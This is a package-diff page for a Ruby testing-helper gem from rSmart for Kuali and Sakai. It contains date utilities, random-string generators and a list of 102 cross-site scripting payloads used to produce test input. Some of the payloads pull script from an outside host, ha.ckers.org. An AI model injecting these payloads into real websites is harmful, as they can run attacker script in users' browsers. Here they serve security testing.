kuali-sakai-common-lib 0.0.1

Sign up to get free protection for your applications and to get access to all the features.
@@ -0,0 +1,14 @@
1
+ require 'rubygems'
2
+
3
+ spec = Gem::Specification.new do |s|
4
+ s.name = 'kuali-sakai-common-lib'
5
+ s.version = '0.0.1'
6
+ s.summary = %q{Modules and methods common to the rSmart testing gems}
7
+ s.description = %q{This gem provides a set of modules and methods that are common to the Kuali and Sakai open source project's rSmart functional testing API gems.\n\nThis gem is not useful except in the context of one of the other rSmart Kuali/Sakai testing API gems.}
8
+ s.files = Dir.glob("**/**/**")
9
+ s.test_files = Dir.glob("test/*test_rb")
10
+ s.authors = ["Abraham Heward"]
11
+ s.email = ["aheward@rsmart.com"]
12
+ #s.rubyforge_project = "kuali-sakai-common-lib"
13
+ s.required_ruby_version = '>= 1.9.2'
14
+ end
data/lib/core-ext.rb ADDED
@@ -0,0 +1,90 @@
1
+ class Time
2
+
3
+ # Using the :year_range option (or no option), this method creates a
4
+ # Time object of a random value, within
5
+ # the year range specified (default is 5 years in the past).
6
+ #
7
+ # Using the :series option, this method returns an array
8
+ # containing a randomized Time object as its first element (limited by
9
+ # the specified :year_range value). Subsequent elements will be Time objects
10
+ # with values putting them later than the prior element, within the specified
11
+ # range value (see examples).
12
+ #
13
+ # Usage Examples:
14
+ # @example
15
+ # a random date...
16
+ # ?> Time.random
17
+ # => Tue Aug 05 00:00:00 EDT 2007
18
+ #
19
+ # birthdays, anyone?...
20
+ # 5.times { p Time.random(:year_range=>80) }
21
+ # Wed Feb 06 00:00:00 EDT 1974
22
+ # Tue Dec 22 00:00:00 EST 1992
23
+ # Fri Apr 14 00:00:00 EWT 1944
24
+ # Thu Jul 01 00:00:00 EDT 1993
25
+ # Wed Oct 02 00:00:00 EDT 2002
26
+ #
27
+ # A series of dates are useful for account-related info...
28
+ # ?> Time.random(:series=>[20.days, 3.years])
29
+ # => [Sat Jan 22 00:00:00 EST 2005,
30
+ # Sat Jan 29 12:58:45 EST 2005,
31
+ # Fri Sep 08 09:34:58 EDT 2006]
32
+ #
33
+ # or maybe to simulate events during an hour?...
34
+ # ?> Time.random(:series=>[1.hour,1.hour,1.hour])
35
+ # => [Wed Apr 21 00:00:00 EDT 2004,
36
+ # Wed Apr 21 00:45:59 EDT 2004,
37
+ # Wed Apr 21 01:02:47 EDT 2004,
38
+ # Wed Apr 21 01:31:00 EDT 2004]
39
+ def self.random(params={})
40
+ years_back = params[:year_range] || 5
41
+ year = (rand * (years_back)).ceil + (Time.now.year - years_back)
42
+ month = (rand * 12).ceil
43
+ day = (rand * 31).ceil
44
+ series = [date = Time.local(year, month, day)]
45
+ if params[:series]
46
+ params[:series].each do |some_time_after|
47
+ series << series.last + (rand * some_time_after).ceil
48
+ end
49
+ return series
50
+ end
51
+ date
52
+ end
53
+
54
+ end # Time
55
+
56
+ module Enumerable
57
+
58
+ # Use for getting a natural sort order instead of the ASCII
59
+ # sort order.
60
+ def alphabetize
61
+ sort { |a, b| grouped_compare(a, b) }
62
+ end
63
+
64
+ # Use for sorting an Enumerable object in place.
65
+ def alphabetize!
66
+ sort! { |a, b| grouped_compare(a, b) }
67
+ end
68
+
69
+ private
70
+ def grouped_compare(a, b)
71
+ loop {
72
+ a_chunk, a = extract_alpha_or_number_group(a)
73
+ b_chunk, b = extract_alpha_or_number_group(b)
74
+ ret = a_chunk <=> b_chunk
75
+ return -1 if a_chunk == ''
76
+ return ret if ret != 0
77
+ }
78
+ end
79
+
80
+ def extract_alpha_or_number_group(item)
81
+ test_item = item.downcase
82
+ matchdata = /([a-z]+|[\d]+)/.match(test_item)
83
+ if matchdata.nil?
84
+ ["", ""]
85
+ else
86
+ [matchdata[0], test_item = test_item[matchdata.offset(0)[1] .. -1]]
87
+ end
88
+ end
89
+
90
+ end # Enumerable
@@ -0,0 +1,2 @@
1
+ require 'core-ext'
2
+ require 'utilities'
data/lib/utilities.rb ADDED
@@ -0,0 +1,263 @@
1
+ # coding: UTF-8
2
+
3
+ # Provides useful helper methods for creating test data.
4
+ # For example, strings of random text, random date values
5
+ # formatted as needed, and other misc methods. Include in
6
+ # your test step class.
7
+ module Utilities
8
+
9
+ # Creates a page object based on the class passed to it.
10
+ #
11
+ # @example using a page that has already been visited in a Scenario
12
+ # on_page MyPageObject do |page|
13
+ # page.name.should == 'rSmart'
14
+ # end
15
+ def on_page(page_class, &block)
16
+ @current_page = page_class.new(@browser)
17
+ block.call @current_page if block
18
+ @current_page
19
+ end
20
+ alias on on_page
21
+
22
+ # Strips the file name away from the path information.
23
+ #
24
+ # This way it's not necessary to define variables for BOTH the
25
+ # file name and the file path + file name. Just define the
26
+ # path + name and then use this method to extract only the filename
27
+ # portion.
28
+ def get_filename(path_plus_name_string)
29
+ path_plus_name_string =~ /(?<=\/).+/
30
+ return $~.to_s
31
+ end
32
+
33
+ # A random string creator that draws from all printable ASCII characters
34
+ # from 33 to 128. Default length is 10 characters.
35
+ def random_string(length=10, s="")
36
+ length.enum_for(:times).inject(s) do |result, index|
37
+ s << rand(93) + 33
38
+ end
39
+ end
40
+
41
+ # A random string creator that draws from all printable ASCII and High ASCII characters
42
+ # from 33 to 256. Default length is 10 characters.
43
+ def random_high_ascii(length=10, s="")
44
+ length.enum_for(:times).inject(s) do |result, index|
45
+ s << rand(223) + 33
46
+ end
47
+ end
48
+
49
+ # A "friendlier" random string generator. No characters need to be escaped for valid URLs.
50
+ # Uses no Reserved or "Unsafe" characters.
51
+ # Also excludes the comma, the @ sign and the plus sign. Default length is 10 characters.
52
+ def random_nicelink(length=10)
53
+ chars = %w{a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 _ - .}
54
+ (0...length).map { chars[rand(chars.size)]}.join
55
+ end
56
+
57
+ # Returns a string that is properly formatted like an email address.
58
+ # The string returned defaults to 268 characters long.
59
+ # Including a number between 1 and 62 will shrink this string by 62 minus the specified
60
+ # value.
61
+ def random_email(x=62)
62
+ x > 62 ? x=62 : x=x
63
+ chars = %w{a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ! # $ % & ' * + - / = ? ^ _ ` { | } ~}
64
+ random_alphanums(1) + (0...x).map { chars[rand(chars.size)]}.join + random_alphanums(1) + "@" + random_alphanums(60) + ".com"
65
+ end
66
+
67
+ # A random string generator that uses all characters
68
+ # available on an American Qwerty keyboard.
69
+ def random_alphanums_plus(length=10, s="")
70
+ chars = %w{ a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ` ~ ! @ # $% ^ & * ( ) _ + - = { } [ ] \ : " ; ' < > ? , . / }
71
+ length.times { s << chars[rand(chars.size)] }
72
+ s.to_s
73
+ end
74
+
75
+ # A random string generator that uses only letters and numbers in the string. Default length is 10 characters.
76
+ def random_alphanums(length=10, s="")
77
+ chars = 'abcdefghjkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ0123456789'
78
+ length.times { s << chars[rand(chars.size)] }
79
+ s.to_s
80
+ end
81
+
82
+ # A random string generator that uses only lower case letters.
83
+ def random_letters(length=10, s="")
84
+ chars = 'abcdefghjkmnpqrstuvwxyz'
85
+ length.times { s << chars[rand(chars.size)] }
86
+ s.to_s
87
+ end
88
+
89
+ # Returns a block of text (of the specified type, see below) containing
90
+ # the specified number of "words" (each containing between 1 and 16 chars)
91
+ # randomly spread across the specified number of lines (note that
92
+ # the method does not allow the line count to be larger than
93
+ # the word count and will "fix" it if it is).
94
+ #
95
+ # If no arguments are provided, the method will return two alphanumeric
96
+ # "words" on two lines.
97
+ #
98
+ # The last argument the method takes will determine the character content
99
+ # of the string, viz.:
100
+ #
101
+ # :alpha => Alphanumeric -> uses the random_alphanums method
102
+ # :string => uses the random_string method, so chars 33 through 128 will be included
103
+ # :ascii => All ASCII chars from 33 to 256 are fair game -> uses random_high_ascii
104
+ def random_multiline(word_count=2, line_count=2, char_type=:alpha)
105
+ char_methods = {:alpha=>"random_alphanums(rand(16)+1)", :string=>"random_string(rand(16)+1)", :ascii=>"random_high_ascii(rand(16)+1)"}
106
+ if line_count > word_count
107
+ line_count = word_count - 1
108
+ end
109
+ words = []
110
+ non_words = []
111
+ word_count.times { words << eval(char_methods[char_type]) } # creating the words, adding to the array
112
+ (line_count - 1).times { non_words << "\n" } # adding the number of line feeds
113
+ unless word_count==line_count
114
+ (word_count - line_count - 1).times { non_words << " " } # adding the right number of spaces
115
+ end
116
+ non_words.shuffle! # Have to shuffle the line feeds around!
117
+ array = words.zip(non_words)
118
+ array.flatten!
119
+ return array.join("")
120
+ end
121
+
122
+ # Picks at random from the list of XSS test strings, using
123
+ # the provided number as size of the list to choose from.
124
+ # It will randomly pre-pend the string with HTML closing tags.
125
+ #
126
+ # The strings are organized by length, with the shorter ones
127
+ # first. There are 102 strings.
128
+ def random_xss_string(number=102)
129
+ if number > 102
130
+ number = 102
131
+ end
132
+ xss = ["<PLAINTEXT>", "\\\";alert('XSS');//", "'';!--\"<XSS>=&{()}", "<IMG SRC=\"mocha:alert('XSS')\">", "<BODY ONLOAD=alert('XSS')>", "<BODY ONLOAD =alert('XSS')>", "<BR SIZE=\"&{alert('XSS')}\">", "¼script¾alert(¢XSS¢)¼/script¾", "<IMG SRC=\"livescript:alert('XSS')\">", "<SCRIPT SRC=//ha.ckers.org/.j>", "<IMG SRC=javascript:alert('XSS')>", "<IMG SRC=JaVaScRiPt:alert('XSS')>", "<<SCRIPT>alert(\"XSS\");//<</SCRIPT>", "<IMG SRC=\"javascript:alert('XSS')\"", "<IMG SRC='vbscript:msgbox(\"XSS\")'>", "<A HREF=\"http://1113982867/\">XSS</A>", "<IMG SRC=\"javascript:alert('XSS');\">", "<IMG SRC=\"jav\tascript:alert('XSS');\">", "<XSS STYLE=\"behavior: url(xss.htc);\">", "</TITLE><SCRIPT>alert(\"XSS\");</SCRIPT>", "<IMG DYNSRC=\"javascript:alert('XSS')\">", "<A HREF=\"http://66.102.7.147/\">XSS</A>", "<IMG LOWSRC=\"javascript:alert('XSS')\">", "<BGSOUND SRC=\"javascript:alert('XSS');\">", "<BASE HREF=\"javascript:alert('XSS');//\">", "<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">", "<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>", "<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">", "<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">", "<XSS STYLE=\"xss:expression(alert('XSS'))\">", "<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">", "<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>", "<IMG SRC=\" &#14; javascript:alert('XSS');\">", "<IMG SRC=javascript:alert(&quot;XSS&quot;)>", "<BODY BACKGROUND=\"javascript:alert('XSS')\">", "<TABLE BACKGROUND=\"javascript:alert('XSS')\">", "<DIV STYLE=\"width: expression(alert('XSS'));\">", "<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">", "<iframe src=http://ha.ckers.org/scriptlet.html <", "<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>", "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>", "<A HREF=\"http://0x42.0x0000066.0x7.0x93/\">XSS</A>", "<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">", "<A HREF=\"http://0102.0146.0007.00000223/\">XSS</A>", "<IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`>", "<SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT SRC=\"http://ha.ckers.org/xss.jpg\"></SCRIPT>", "<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>", "<BODY onload!\#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>", "<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">", "<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>", "<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>", "<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<? echo('<SCR)'; echo('IPT>alert(\"XSS\")</SCRIPT>'); ?>", "<SCRIPT =\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">", "<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LAYER SRC=\"http://ha.ckers.org/scriptlet.html\"></LAYER>", "<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>", "<SCRIPT \"a='>'\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">", "<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>", "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">", "perl -e 'print \"<SCR\\0IPT>alert(\\\"XSS\\\")</SCR\\0IPT>\";' > out", "<IMG SRC = \" j a v a s c r i p t : a l e r t ( ' X S S ' ) \" >", "Redirect 302 /a.jpg http://www.rsmart.com/admin.asp&deleteuser", "perl -e 'print \"<IMG SRC=java\\0script:alert(\\\"XSS\\\")>\";' > out", "<!--[if gte IE 4]> <SCRIPT>alert('XSS');</SCRIPT> <![endif]-->", "<DIV STYLE=\"background-image: url(&#1;javascript:alert('XSS'))\">", "<A HREF=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\">XSS</A>", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">", "a=\"get\"; b=\"URL(\\\"\"; c=\"javascript:\"; d=\"alert('XSS');\\\")\"; eval(a+b+c+d);", "<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>", "<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>", "<STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('XSS')\")}</STYLE>", "<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS", "<META HTTP-EQUIV=\"Link\" Content=\"<http://ha.ckers.org/xss.css>; REL=stylesheet\">", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">", "<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>", "<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A>", "<XML SRC=\"xsstest.xml\" ID=I></XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>", "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;\">", "exp/*<A STYLE='no\\xss:noxss(\"*//*\"); xss:&#101;x&#x2F;*XSS*//*/*/pression(alert(\"XSS\"))'>", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">", "<!--#exec cmd=\"/bin/echo '<SCR'\"--><!--#exec cmd=\"/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'\"-->", "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>", "<HTML xmlns:xss> <?import namespace=\"xss\" implementation=\"http://ha.ckers.org/xss.htc\"> <xss:xss>XSS</xss:xss> </HTML>", "<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>", "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-", "<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>", "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]><![CDATA[cript:alert('XSS');\">]]> </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>", "<XML ID=\"xss\"><I><B>&lt;IMG SRC=\"javas<!-- -->cript:alert('XSS')\"&gt;</B></I></XML> <SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN>", "<DIV STYLE=\"background-image:\\0075\\0072\\006C\\0028'\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\0061\\006c\\0065\\0072\\0074\\0028.1027\\0058.1053\\0053\\0027\\0029'\\0029\">", "<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>", "';alert(String.fromCharCode(88,83,83))//\\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>", "<HTML><BODY> <?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\"> <?import namespace=\"t\" implementation=\"#default#time2\"> <t:set attributeName=\"innerHTML\" to=\"XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;\"> </BODY></HTML>", "<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>"]
133
+ x = rand(4)
134
+ case(x)
135
+ when 0
136
+ return xss[rand(number)]
137
+ when 1
138
+ return %|"| + xss[rand(number)]
139
+ when 2
140
+ return %|">| + xss[rand(number)]
141
+ when 3
142
+ return %|>| + xss[rand(number)]
143
+ end
144
+
145
+ end
146
+
147
+ # Some date and time helper functions....
148
+
149
+ # Returns the value of the last hour as an Integer object, which
150
+ # eliminates the zero-padding for single-digit hours. 12-hour clock.
151
+ def last_hour
152
+ (Time.now - 3600).strftime("%I").to_i
153
+ end
154
+
155
+ # Returns the value of the current hour as an Integer object, which
156
+ # eliminates the zero-padding for single-digit hours. 12-hour clock.
157
+ def current_hour
158
+ Time.now.strftime("%I").to_i
159
+ end
160
+
161
+ # Returns the value of the next hour as an Integer object, which
162
+ # eliminates the zero-padding for single-digit hours. 12-hour clock.
163
+ def next_hour
164
+ (Time.now + 3600).strftime("%I").to_i
165
+ end
166
+
167
+ # Returns a 4-digit Integer object, equal to last year.
168
+ def last_year
169
+ (Time.now - (3600*24*365)).strftime("%Y").to_i
170
+ end
171
+
172
+ # Returns a 4-digit Integer object equal to the current year.
173
+ def current_year
174
+ (Time.now).strftime("%Y").to_i
175
+ end
176
+
177
+ # Returns an all-caps 3-char string equal to the prior month
178
+ def last_month
179
+ months = ["JAN","FEB","MAR","APR","MAY","JUN","JUL","AUG","SEP","OCT","NOV","DEC"]
180
+ index = months.index(current_month)
181
+ return months[index-1]
182
+ end
183
+
184
+ # Returns an all-caps 3-char string equal to the current month
185
+ def current_month
186
+ Time.now.strftime("%^b")
187
+ end
188
+
189
+ # Returns an all-caps 3-char string equal to next month
190
+ def next_month
191
+ months = ["JAN","FEB","MAR","APR","MAY","JUN","JUL","AUG","SEP","OCT","NOV","DEC"]
192
+ index = months.index(current_month)
193
+ if index < 12
194
+ return months[index+1]
195
+ else
196
+ return months[0]
197
+ end
198
+ end
199
+
200
+ # Returns a 4-digit Integer object equal to next year.
201
+ def next_year
202
+ (Time.now + (3600*24*365)).strftime("%Y").to_i
203
+ end
204
+
205
+ # Returns an Integer object equal to
206
+ # yesterday's day of the month. The string is converted to
207
+ # an integer so as to remove the zero-padding from single-digit day values.
208
+ def yesterday
209
+ (Time.now - (3600*24)).strftime("%d").to_i
210
+ end
211
+
212
+ # Returns an Integer object equal to
213
+ # tomorrow's day of the month. The string is converted to
214
+ # an integer so as to remove the zero-padding from single-digit day values.
215
+ def tomorrow
216
+ (Time.now + (3600*24)).strftime("%d").to_i
217
+ end
218
+
219
+ # Takes a time object as the input (e.g., Time.now) and returns
220
+ # a string formatted in particular ways.
221
+ # When the specified "type" value is "cle" (or not specified),
222
+ # The returned string will look like this:
223
+ # "Jan 9, 2012 1:12 am"
224
+ # When "oae-message":
225
+ # "2/8/2012 1:06 PM"
226
+ # Note the lack of zero-padding for the day of the month and the
227
+ # hour of the day. The hour value will be for a 12-hour clock.
228
+ def make_date(time_object, type="cle")
229
+ case(type)
230
+ when "cle"
231
+ month = time_object.strftime("%b ")
232
+ day = time_object.strftime("%d").to_i
233
+ year = time_object.strftime(", %Y ")
234
+ mins = time_object.strftime(":%M %P")
235
+ hour = time_object.strftime("%l").to_i
236
+ return month + day.to_s + year + hour.to_s + mins
237
+ when "oae-message"
238
+ date = time_object.strftime("%-m/%-d/%Y ")
239
+ hour = time_object.strftime("%l").to_i
240
+ mins = time_object.strftime(":%M %p")
241
+ return date + hour.to_s + mins
242
+ end
243
+
244
+ end
245
+
246
+ # returns a hash object containing strings that will, for example,
247
+ # allow creation of an event starting 15 minutes in the future.
248
+ # Hour and Day values are Integer objects, not strings, so that
249
+ # they will not be zero-padded. The :meridian string is lower-case.
250
+ def in_15_minutes
251
+ t = Time.now.utc+15*60
252
+ return {
253
+ :month_str => t.strftime("%^b"),
254
+ :month_int => t.strftime("%-m"),
255
+ :day =>t.strftime("%d").to_i,
256
+ :year =>t.strftime("%Y").to_i,
257
+ :hour =>t.strftime("%I").to_i,
258
+ :minute =>(t-t.sec-t.min%5*60).strftime("%M"),
259
+ :meridian =>t.strftime("%P")
260
+ }
261
+ end
262
+
263
+ end # Utilities
metadata ADDED
@@ -0,0 +1,52 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: kuali-sakai-common-lib
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.1
5
+ prerelease:
6
+ platform: ruby
7
+ authors:
8
+ - Abraham Heward
9
+ autorequire:
10
+ bindir: bin
11
+ cert_chain: []
12
+ date: 2012-05-11 00:00:00.000000000 Z
13
+ dependencies: []
14
+ description: This gem provides a set of modules and methods that are common to the
15
+ Kuali and Sakai open source project's rSmart functional testing API gems.\n\nThis
16
+ gem is not useful except in the context of one of the other rSmart Kuali/Sakai testing
17
+ API gems.
18
+ email:
19
+ - aheward@rsmart.com
20
+ executables: []
21
+ extensions: []
22
+ extra_rdoc_files: []
23
+ files:
24
+ - kuali-sakai-common-lib.gemspec
25
+ - lib/core-ext.rb
26
+ - lib/kuali-sakai-common-lib.rb
27
+ - lib/utilities.rb
28
+ homepage:
29
+ licenses: []
30
+ post_install_message:
31
+ rdoc_options: []
32
+ require_paths:
33
+ - lib
34
+ required_ruby_version: !ruby/object:Gem::Requirement
35
+ none: false
36
+ requirements:
37
+ - - ! '>='
38
+ - !ruby/object:Gem::Version
39
+ version: 1.9.2
40
+ required_rubygems_version: !ruby/object:Gem::Requirement
41
+ none: false
42
+ requirements:
43
+ - - ! '>='
44
+ - !ruby/object:Gem::Version
45
+ version: '0'
46
+ requirements: []
47
+ rubyforge_project:
48
+ rubygems_version: 1.8.22
49
+ signing_key:
50
+ specification_version: 3
51
+ summary: Modules and methods common to the rSmart testing gems
52
+ test_files: []